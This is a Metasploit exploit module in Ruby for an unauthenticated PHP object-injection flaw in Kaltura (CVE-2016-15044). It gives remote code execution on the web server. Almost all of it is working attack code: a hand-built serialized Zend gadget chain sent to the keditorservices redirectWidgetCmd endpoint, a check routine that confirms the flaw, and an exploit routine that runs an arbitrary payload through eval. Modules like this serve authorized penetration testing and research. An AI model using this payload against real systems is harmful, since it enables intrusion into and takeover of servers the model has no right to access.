Kaltura Remote PHP Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kaltura Remote PHP Code Execution',
        'Description' => %q{
          This module exploits an Object Injection vulnerability in Kaltura.
          By exploiting this vulnerability, unauthenticated users can execute
          arbitrary code under the context of the web server user.

          Kaltura has a module named keditorservices that takes user input
          and then uses it as an unserialized function parameter. The constructed
          object is based on the SektionEins Zend code execution POP chain PoC,
          with a minor modification to ensure Kaltura processes it and the
          Zend_Log function's __destruct() method is called. Kaltura versions
          prior to 11.1.0-2 are affected by this issue.

          This module was tested against Kaltura 11.1.0 installed on CentOS 6.8.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Security-Assessment.com', # discovery
          'Mehmet Ince <[email protected]>' # msf module
        ],
        'References' => [
          ['CVE', '2016-15044'],
          ['EDB', '39563']
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2016-03-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
      ]
    )
  end

  def check
    r = rand_text_alpha(15 + rand(4))
    cmd = "print_r(#{r}).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
      'vars_get' => {
        'kdata' => Rex::Text.encode_base64(p)
      }
    )

    if res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
      'vars_get' => {
        'kdata' => Rex::Text.encode_base64(p)
      }
    )
  end
end